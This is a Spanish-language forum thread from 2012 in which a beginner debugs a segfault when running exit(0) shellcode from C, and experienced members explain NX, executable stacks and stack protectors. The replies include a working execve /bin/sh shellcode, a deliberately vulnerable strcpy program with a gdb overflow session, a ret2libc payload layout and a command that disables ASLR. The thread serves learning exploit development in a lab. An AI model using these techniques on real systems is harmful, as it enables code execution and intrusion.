Syscall a exit(0) ASM incrustada en C. Problema de segfault.

Este es tu lugar para hablar de programación, compartir, crear y desarrollar nuevos proyectos

Moderador: Moderadores

Syscall a exit(0) ASM incrustada en C. Problema de segfault.

Notapor grouxo » Sab Ene 28, 2012 7:38 pm

Buenas,

He querido empezar a programar shellcodes, y he empezado por lo más básico, incrustar una syscall a exit() en asm en un programa C. El problema es que, tanto esta syscall, como otros pedazos de código que he utilizado para empezar a trastear, me sueltan una violación de segmento. Relato el proceso que he seguido:

1. Programo en ASM la llamada al syscall exit con un par de instrucciones extra que limpian los registros eax y ebx:
Código: Seleccionar todo
section .text
global _start
_start:
   xor eax, eax      ; Limpiamos eax
   xor ebx, ebx      ; Limpiamos ebx
   mov al, 0x01      ; Pasamos el argumento para syscall exit
   int 0x80      ; Llamamos al manejador de interrupciones


2. Compilo, enlazo, ejecuto y sin problemas. Aparte he hecho un strace para ver que realmente se llama a exit(0):
Código: Seleccionar todo
[email protected]:~/shellcoding/exit$ nasm -f elf exit.asm
[email protected]:~/shellcoding/exit$ ld -o salir exit.o
[email protected]:~/shellcoding/exit$ ./salir
[email protected]:~/shellcoding/exit$ strace ./salir
execve("./salir", ["./salir"], [/* 48 vars */]) = 0
_exit(0)                                = ?


3. Desensamblo el código para ver los opcodes:
Código: Seleccionar todo
[email protected]:~/shellcoding/exit$ objdump -d salir

salir:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       31 db                   xor    %ebx,%ebx
 8048064:       b0 01                   mov    $0x1,%al
 8048066:       cd 80                   int    $0x80

de donde sacamos la siguiente secuencia de opcodes: "\x31\xc0\x31\xdb\xb0\x01\xcd\x80". Como vemos no hay bytes nulos, que según he leído, son perjudiciales para este propósito, ya que se considera que la cadena ha terminado. Si estoy equivocado, corregidme, por favor.

4. Incrustamos la cadena de opcodes en el programa de prueba en C que saqué de un tutorial para ir trasteando:
Código: Seleccionar todo
char code[] =  "\x31\xc0\x31\xdb\xb0\x01\xcd\x80";

int main (int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
}


5. Compilo y ejecuto et... voilà, segfault al instante:
Código: Seleccionar todo
[email protected]:~/shellcoding/exit$ gcc -o salir2 exit.c
[email protected]:~/shellcoding/exit$ ./salir2
Violación de segmento



Según he leído, el código tiene que estar en posiciones absolutas, no en posiciones relativas para poder ser reutilizable, pero creo que ese no es mi problema. También creo que puede ser porque el código se aloja en una zona de memoria de solo lectura donde no puedo escribir, pero me resulta raro igualmente.

Voy a postear también un poco de información de depuración:

Código: Seleccionar todo
[email protected]:~/shellcoding/exit$ gcc -o salir2 -ggdb exit.c
[email protected]:~/shellcoding/exit$ gdb salir2
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Para las instrucciones de informe de errores, vea:
<http://www.gnu.org/software/gdb/bugs/>...
Leyendo símbolos desde /home/grtxo/shellcoding/exit/salir2...hecho.
(gdb) list
1       char code[] =  "\x31\xc0\x31\xdb\xb0\x01\xcd\x80";
2       
3       int main (int argc, char **argv)
4       {
5           int (*func)();
6           func = (int (*)()) code;
7           (int)(*func)();
8       }
(gdb) break 6
Punto de interrupción 1 at 0x804839d: file exit.c, line 6.
(gdb) run
Starting program: /home/razieliyo/shellcoding/exit/salir2

Breakpoint 1, main (argc=1, argv=0xbffff084) at exit.c:6
6           func = (int (*)()) code;
(gdb) step
7           (int)(*func)();
(gdb) step

Program received signal SIGSEGV, Segmentation fault.
0x080483a9 in main (argc=1, argv=0xbffff084) at exit.c:7
7           (int)(*func)();
(gdb)


Como vemos, el problema está en el código incrustado. Posteo la salida de un strace por si sirve de referencia:

Código: Seleccionar todo
[email protected]:~/shellcoding/exit$ strace ./salir2
execve("./salir2", ["./salir2"], [/* 45 vars */]) = 0
brk(0)                                  = 0x8a6f000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7777000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=123451, ...}) = 0
mmap2(NULL, 123451, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7758000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220o\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1434180, ...}) = 0
mmap2(NULL, 1444360, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x718000
mprotect(0x872000, 4096, PROT_NONE)     = 0
mmap2(0x873000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15a) = 0x873000
mmap2(0x876000, 10760, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x876000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7757000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77578d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x873000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x9b2000, 4096, PROT_READ)     = 0
munmap(0xb7758000, 123451)              = 0
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++
Violación de segmento

A tanto ya no llego, y no entiendo la mitad de lo que dice ahí. Lo que si veo es que quizás haya problemas de permisos, muchos PROT_WRITE, DENYWRITE, PROT_READ, mprotect(), MAP_PRIVATE, que no sé que significan, pero huele a problema en permisos.


Ahí queda la cosa. Creo que quizás el problema se podría solucionar al pasarle al gcc a la hora de compilar algún argumento para que permita el alojamiento de código en la pila, o para dar permisos. También puede ser alguna opción que tengo que activar en el sistema. En resumen, no tengo mucha idea de momento en esto del shellcoding, y acabo de empezar con una simple llamada a exit(0), sin meterme todavía en la adquisición de shells para ir probando, y me encuentro con esto. La verdad tengo muchísimas ganas de aprender y he googleado al máximo, pero siempre había problemas de muchos tipos con respecto a los segfaults.

Espero que me puedan arrojar un poco de luz, seguramente el problema sea nimio y mi fallo, totalmente tonto. Saludos y gracias!
Avatar de Usuario
grouxo
:-)
:-)
 
Mensajes: 4
Registrado: Sab Ene 28, 2012 6:58 pm

Re: Syscall a exit(0) ASM incrustada en C. Problema de segfa

Notapor NewLog » Sab Ene 28, 2012 9:25 pm

Pues creo que tienes razón.

La idea es que le pases a gcc la opción -fno-stack-protector. Además bájate la utilidad execstack (sudo apt-get install execstack) y haz un 'man execstack'.

Por ahora, prueba lo del gcc y coméntame si te ha funcionado.

Por si te sirve, aquí tienes unas buenas guías de iniciación en castellano.

Saludos y ánimos.
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Syscall a exit(0) ASM incrustada en C. Problema de segfa

Notapor NewLog » Sab Ene 28, 2012 9:31 pm

Para completar un poco la respuesta,

el tema es que cuando lo programas en ensamblador le especificas que ubique el código en la sección .text (que es ejecutable), sin embargo, cuando lo haces en c, al ser una variable global te lo enchufa en el segmento .data, que es la pila.


Como siempre, que alguien me corrija si me equivoco ;)
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Syscall a exit(0) ASM incrustada en C. Problema de segfa

Notapor vlan7 » Sab Ene 28, 2012 9:35 pm

Hola,

Todo lo que dices es correcto, excepto que la pila siempre tiene permisos de escritura. Es decir, siempre podremos colocar un shellcode en la pila, lo que no podremos con NX activo es ejecutarlo. Pienso que por ahi debe venir tu problema. Puedes comprobar los permisos de la pila por ejemplo asi:
Código: Seleccionar todo
$ grep -i stack /proc/self/maps
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

Aunque en sistemas de 32 bits a veces no es totalmente precisa la salida. Por ejemplo en mi caso el shellcode se ejecuta sin problema a pesar de que ahi no salga ninguna X que muestre que tengo permisos de ejecucion en la pila.

Sin embargo, mi sistema parece tener NX activo.
Código: Seleccionar todo
[email protected]:~# grep ^flags /proc/cpuinfo |head -n1 |grep nx
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt rdtscp lm 3dnowext 3dnow extd_apicid pni cx16 lahf_lm cmp_legacy svm extapic cr8_legacy

Por ahi aparece nx... Y mi BIOS no esta deshabilitando NX (only debian-like i think!):
Código: Seleccionar todo
$ check-bios-nx --verbose
This CPU has nx in the flags, so the BIOS is not disabling it.

Mira, no tengo mayor problema en ejecutar tu shellcode:
Código: Seleccionar todo
$ gdb -q sc
Reading symbols from /root/sc...done.
(gdb) list
1       char code[] =  "\x31\xc0\x31\xdb\xb0\x01\xcd\x80";
2
3       int main (int argc, char **argv)
4       {
5           int (*func)();
6           func = (int (*)()) code;
7           (int)(*func)();
8       }
(gdb) br 6
Breakpoint 1 at 0x80483bd: file sc.c, line 6.
(gdb) r
Starting program: /root/sc

Breakpoint 1, main (argc=1, argv=0xbffff474) at sc.c:6
6           func = (int (*)()) code;
(gdb) si
7           (int)(*func)();
(gdb) si
0x080483c9      7           (int)(*func)();
(gdb) si
0x0804a010 in code ()
(gdb) si
0x0804a012 in code ()
(gdb) si
0x0804a014 in code ()
(gdb) si
0x0804a016 in code ()
(gdb) si

Program exited normally.
(gdb) q

Revisa el tema de NX. Puedes compilar pasandole a gcc (o ld) el parametro
Código: Seleccionar todo
-z execstack

O bien tras compilarlo usar la herramienta execstack disponible en el paquete prelink (debian-like!).

Prueba asi y cuentanos. Tambien asegurate que tu arquitectura sea de 32 bits. Asi:
Código: Seleccionar todo
$ getconf LONG_BIT
32

Y para burlar NX, podrias usar las tecnicas de ret2libc. Te pongo un log:
Código: Seleccionar todo
$ cat /proc/sys/kernel/randomize_va_space
2
$ echo 0 >/proc/sys/kernel/randomize_va_space
$ cat vuln.c
#include <stdio.h>
#include <string.h>

void evil(char* input)
{
  char buf[256];
  strcpy(buf, input); // overflow
}

int main(int argc, char** argv)
{
  evil(argv[1]);
  return 0;
}
$ gcc -fno-stack-protector -o vuln -g vuln.c
$ gdb -q vuln
Reading symbols from /root/vuln...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048404 <+0>:     push   %ebp
   0x08048405 <+1>:     mov    %esp,%ebp
   0x08048407 <+3>:     and    $0xfffffff0,%esp
   0x0804840a <+6>:     sub    $0x10,%esp
   0x0804840d <+9>:     mov    0xc(%ebp),%eax
   0x08048410 <+12>:    add    $0x4,%eax
   0x08048413 <+15>:    mov    (%eax),%eax
   0x08048415 <+17>:    mov    %eax,(%esp)
   0x08048418 <+20>:    call   0x80483e4 <evil>
   0x0804841d <+25>:    mov    $0x0,%eax
   0x08048422 <+30>:    leave 
   0x08048423 <+31>:    ret   
End of assembler dump.
(gdb) br *0x08048418
Breakpoint 1 at 0x8048418: file vuln.c, line 12.
(gdb) disas evil
Dump of assembler code for function evil:
   0x080483e4 <+0>:     push   %ebp
   0x080483e5 <+1>:     mov    %esp,%ebp
   0x080483e7 <+3>:     sub    $0x118,%esp
   0x080483ed <+9>:     mov    0x8(%ebp),%eax
   0x080483f0 <+12>:    mov    %eax,0x4(%esp)
   0x080483f4 <+16>:    lea    -0x108(%ebp),%eax
   0x080483fa <+22>:    mov    %eax,(%esp)
   0x080483fd <+25>:    call   0x804831c <[email protected]>
   0x08048402 <+30>:    leave 
   0x08048403 <+31>:    ret   
End of assembler dump.
(gdb) br *0x08048403
Breakpoint 2 at 0x8048403: file vuln.c, line 8.
(gdb) r `python -c 'print "A"*264'`
Starting program: /root/vuln `python -c 'print "A"*264'`

Breakpoint 1, 0x08048418 in main (argc=2, argv=0xbffff364) at vuln.c:12
12        evil(argv[1]);
(gdb) x/20x $esp - 32
0xbffff27c:     0x080482e8      0xb7ff1030      0x08049ff4      0xbffff2b8
0xbffff28c:     0x08048459      0xb7fca324      0xb7fc9ff4      0x08048440
0xbffff29c:     0x0804841d      0xbffff4f0      0xb7ff1030      0x0804844b
0xbffff2ac:     0xb7fc9ff4      0x08048440      0x00000000      0xbffff338
0xbffff2bc:     0xb7e8abd6      0x00000002      0xbffff364      0xbffff370
(gdb) c
Continuing.

Breakpoint 2, 0x08048403 in evil (
    input=0x41414141 <Address 0x41414141 out of bounds>) at vuln.c:8
8       }
(gdb) x/20x $esp - 32
0xbffff27c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff28c:     0x41414141      0x41414141      0x41414141      0xbffff200
0xbffff29c:     0x0804841d      0xbffff4f0      0xb7ff1030      0x0804844b
0xbffff2ac:     0xb7fc9ff4      0x08048440      0x00000000      0xbffff338
0xbffff2bc:     0xb7e8abd6      0x00000002      0xbffff364      0xbffff370
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ead100 <system>

Bien, como habras podido ver, aqui tenemos un problema, y es que en mi sistema la direccion donde esta system() dentro de libc (sin ASLR no cambia) tiene un byte nulo, y el payload que habria que usar para lanzar una shell seria algo como:
[NOP-sled][@system][@RET]
Con eso lanzarias una shell. Al salir de ella se produciria un segfault, si quieres salir limpiamente, deberias buscar la direccion de exit en libc y meterla por ahi, pero a quien le importa :embudito:

Tambien podrias ahorrar un byte en el shellcode usando LEA, asi:
Código: Seleccionar todo
xor ebx, ebx ;2 bytes
lea eax,0x01[ebx] ;3 bytes
int 0x80 ;2 bytes

Pero eso no tiene ninguna importancia, es solo comentarlo.

Venga, mucha suerte, y no olvides pasarte por Overflowed Minds! :embudito: y veo que el maestro Newlog se ha cruzado conmigo mientras escribia esto jaja que como bien dice deberias pasarle a gcc el parametro -fno-stack-protector para desactivar los canaries, aunque realmente en tu caso esto no importa tampoco, porque no estas intentando provocar ningun overflow que dispare al SSP (Smash-ing- Stack Protector) que incorpora gcc. En un shellcode sin mas, tanto da.
Última edición por vlan7 el Dom Ene 29, 2012 12:58 am, editado 1 vez en total
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Syscall a exit(0) ASM incrustada en C. Problema de segfa

Notapor NewLog » Sab Ene 28, 2012 9:41 pm

Normal que yo haya posteado antes... Pedazo de respuesta la tuya! En realidad, una buena pregunta como la suya se merecía una buena respuesta como la tuya jajaja.

En fin, ahora no la puedo leer, que voy a cenar, pero leyéndola en diagonal veo que vamos a por lo mismo :embudito:

Saludos!
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Syscall a exit(0) ASM incrustada en C. Problema de segfa

Notapor vlan7 » Sab Ene 28, 2012 10:00 pm

Yo tambien me piro a cenar, solo añadir que efectivamente tu shellcode reside en la seccion data, pero eso no tiene por que ser problematico haciendolo en un lenguaje de alto nivel como C. Mira, con un shellcode execve estandar de 21 bytes (pongo un shellcode execve para poder ver la cadena de la shell haciendo un volcado de la seccion data):
Código: Seleccionar todo
[email protected]:~# cat sc.c
char code[] = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80";

int main (int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
}
[email protected]:~# gcc -z execstack -fno-stack-protector -o sc -g sc.c
[email protected]:~# ./sc
[email protected]:/root# exit
[email protected]:~# objdump -s -j .data sc

sc:     file format elf32-i386

Contents of section .data:
 804a008 00000000 00000000 6a0b5899 52682f2f  ........j.X.Rh//
 804a018 7368682f 62696e89 e331c9cd 80000000  shh/bin..1......
[email protected]:~#

Como ves, efectivamente la cadena con la shell reside en la seccion data, sin embargo ves que no hay mayor problema al ejecutar el shellcode (la shell se lanza). De hecho la cadena con la shell deberia residir en la seccion data, de lo contrario si residiera en una seccion ejecutable como text casi seguro que seria interpretada como instruccion, no como cadena, con lo cual se produciria una violacion de segmento.

Sobre zonas text/code, data, etc, hace tiempo, a raiz de un hilo que empezo Newlog por estas tierras, me dio por conseguir un shellcode execve estandar sin recurrir a lenguajes de alto nivel, solo con NASM. Hice un video aqui, donde ademas aproveche para mostrar como ejecutar codigo 32 bits en un sistema de 64 bits (en mi caso una Debian squeeze x64).

La idea es sencilla, pero se ilustra el primer shellcode funcional hecho publico (que yo sepa, corregidme de lo contrario!) sin recurrir a lenguajes de alto nivel.

Ah, releyendo tu primer mensaje, lo que dices de posiciones relativas y absolutas es al reves. Un shellcode debe ser siempre position-independent, es decir, que todas las direcciones de memoria que referencie sean relativas (por lo general, con respecto al registro EIP). Pero como bien dices en tu caso da lo mismo, esto solo es un problema al hacer un exploit, no al ejecutar un shellcode sin mas.

El shellcode por si solo siempre se ejecutara sea o no position-independent porque dentro de la seccion de tabla de simbolos del ELF se guarda la direccion tal y como esta referenciada por las instrucciones ASM que uses para trabajar con la pila. Pero en una explotacion real, ya no seria asi, dado que esas direcciones ya no van a apuntar a tu shellcode, porque como atacante estaras bajo el ambito del programa que quieres explotar, y no podras contar con que el programa vulnerable haya colocado las direcciones de memoria que se referencien en tu shellcode en la misma direccion que asumio NASM (o el que sea) al ensamblar.

Es decir, en un exploit donde intentes inyectar un shellcode que no sea position-independent obtendrias un segfault (o en el mejor de los casos un error por illegal instruction, lo cual en la practica seria igual de inutil) porque a saber a donde estarias apuntando el registro EIP tras sobreescribirlo con @RET al intentar desviar el flujo previsto del programa vulnerable hacia tu shellcode. A tu shellcode con total seguridad no.

Desde siempre se viene consiguiendo que un shellcode sea position-independent mediante el hack CALL/POP que habitualmente se conoce como JMP/CALL trick.

Si quieres mas info sobre esto, no se marchen todavia que pasamos a la publicidad volvemos en 5 minutos :embudito:

Ah, otra cosa releyendo tu primer mensaje. Los argumentos en shellcoding se pasan por orden, en ebx, ecx, edx, y luego si hay mas tambien podrias usar en principio los registros ESI y EDI. El registro EAX se reserva para que la int 0x80 reciba el numero de syscall antes de invocar al kernel, que en el caso de exit es la numero 1 (puedes ver los numeros de syscall en Linux en asm/unistd.h). Lo unico incorrecto son tus comentarios en el codigo ASM del shellcode, el shellcode en si esta bien implementado.

Have fun.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Syscall a exit(0) ASM incrustada en C. Problema de segfa

Notapor grouxo » Dom Ene 29, 2012 5:27 pm

Buenas,

El -fno-stack-protector no funcionaba, pero con -z execstack si. Según he comprobado si tengo el bit NX activo. He estado leyendo vuestros comentarios y la verdad es que se agradece muchísimo la ayuda, así da gusto empezar a hacer cualquier cosa. Ahora mismo me pasaré por overflowed minds (que ya la tenía en favoritos por cierto) para culturizarme un poco.

La pega es que en el tutorial que seguía no hablaba de nada acerca del tema este de la pila, no sé si lo daba por supuesto el saber todo lo que me estáis contando acerca de la pila, los segmentos y tal o algo. Quizás me haría falta un buen repaso al ASM también.

Una duda, según he leído, el bit NX es para no poder ejecutar desde el segmento de datos, no sé si me equivoco. Pero si yo paso las instrucciones a la pila y en la pila si hay permisos de ejecución, ¿donde entra en juego este bit entonces? Quizás esté equivocándome y los opcodes se ejecuten desde el segmento de datos, en cuyo caso si tendría sentido lo del bit NX.

Otra cosa es que mi salida del strace sigue siendo igual que antes, con la diferencia de que ya si se ve que se ejecuta el exit(0). ¿Es esto normal?
Código: Seleccionar todo
execve("./a.out", ["./a.out"], [/* 45 vars */]) = 0
brk(0)                                  = 0x9b84000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbec000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=123451, ...}) = 0
mmap2(NULL, 123451, PROT_READ, MAP_PRIVATE, 3, 0) = 0x123000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220o\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1434180, ...}) = 0
mmap2(NULL, 1444360, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x646000
mprotect(0x7a0000, 4096, PROT_NONE)     = 0
mmap2(0x7a1000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15a) = 0x7a1000
mmap2(0x7a4000, 10760, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7a4000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xcc9000
set_thread_area({entry_number:-1 -> 6, base_addr:0xcc98d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x7a1000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x2f7000, 4096, PROT_READ)     = 0
munmap(0x123000, 123451)                = 0
_exit(0)                                = ?


Bueno, por último decir que me habéis ayudado bastante, y que con toda esta información que me proporcionáis, me habéis dado un buen empujón. Algún día podré ayudar yo también al personal.

Muchas gracias por los ánimos implícitos y a seguir!
Avatar de Usuario
grouxo
:-)
:-)
 
Mensajes: 4
Registrado: Sab Ene 28, 2012 6:58 pm

Re: Syscall a exit(0) ASM incrustada en C. Problema de segfa

Notapor vlan7 » Dom Ene 29, 2012 8:26 pm

Hola, el NX es un flag que marca una zona de memoria (todo lo que se esta ejecutando esta en memoria, siempre) como no ejecutable. La pila reside en la seccion data como bien dijo Newlog.

Seria mas adecuado comprobar los permisos de un ejecutable vuln asi:
Código: Seleccionar todo
readelf -l vuln |grep -i stack

Sobre la salida, si esos archivos no existen en tu sistema, es normal que strace escupa eso.

Si tienes curiosidad sobre las protecciones a nivel de S.O. puedes echarle un vistazo a este documento:

Exploiting para niños. Protecciones implementadas por el S.O. La historia

Es un borrador aun. Tengo pendiente añadir otras protecciones a nivel de S.O. como ASLR y tambien protecciones que ofrecen los compiladores, como SSP de gcc (los stack canaries) y cuando este mas maduro y maquetado en LaTeX pues seguramente se subira a Oveflowed Minds.

Mas que tecnico mi objetivo es crear un documento con cierta perspectiva historica manteniendo las personas que crearon cada tecnica. De ahi el nombre.

Y recuerda, todo esta en memoria. Creo que ese es el concepto mas importante al trabajar a bajo nivel. Puedes necesitar acceder a disco para recuperar datos, pero un programa en ejecucion (un proceso en ejecucion) siempre esta todo lo que esta ejecutandose en memoria. La pila y el heap no son mas que zonas de la memoria.

Un saludo.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Syscall a exit(0) ASM incrustada en C. Problema de segfa

Notapor grouxo » Dom Ene 29, 2012 11:26 pm

Perfecto. Todo está quedando más claro y cogiendo forma en mi cabeza. Ya me he puesto con el paper de introducción a la explotación de software en linux de newlog, voy a ir paso por paso. Acto seguido seguiré los tuyos, que parecen ya como más entrando de lleno en el tema.

De nuevo gracias, y espero poder empezar a aportar en breve =)

P.D.: Creo que este post debería guardarse en algún sitio, ya que los fallos que he tenido, pueden ser bastante frecuentes en gente que está empezando.
Avatar de Usuario
grouxo
:-)
:-)
 
Mensajes: 4
Registrado: Sab Ene 28, 2012 6:58 pm

Re: Syscall a exit(0) ASM incrustada en C. Problema de segfa

Notapor vlan7 » Dom Ene 29, 2012 11:58 pm

Hola,

Esa es la idea, que vayas avanzando y todos avancemos tambien.

Sobre los papers, el de Newlog es realmente mas completo, toca los aspectos con mas profundidad y bueno, en mi opinion personal me resulta ameno de leer, mola leer la palabra hack sin que suene prostituida. Los mios son mas... pinceladas, solo tienes que comparar las paginas jeje

Venga, pasalo bien.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Syscall a exit(0) ASM incrustada en C. Problema de segfa

Notapor grouxo » Jue Feb 02, 2012 11:00 pm

No estoy muerto!

Posteo simplemente para decir que sigo atento al tema y que sigo agradeciendo lo que me habéis ayudado. El problema es que ando bastante escaso de tiempo últimamente, y no puedo ponerme más de la cuenta, pero sigo leyendo cuando tengo un rato y trasteando un poco en ensamblador.

He escrito en mi blog todos los avances que he ido consiguiendo para que no se me pierdan, con un poco de introducción, pero no demasiada, ya que quiero lo justo para entenderme yo.

Bueno, saludos y a seguir!
Avatar de Usuario
grouxo
:-)
:-)
 
Mensajes: 4
Registrado: Sab Ene 28, 2012 6:58 pm


Volver a Programación

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado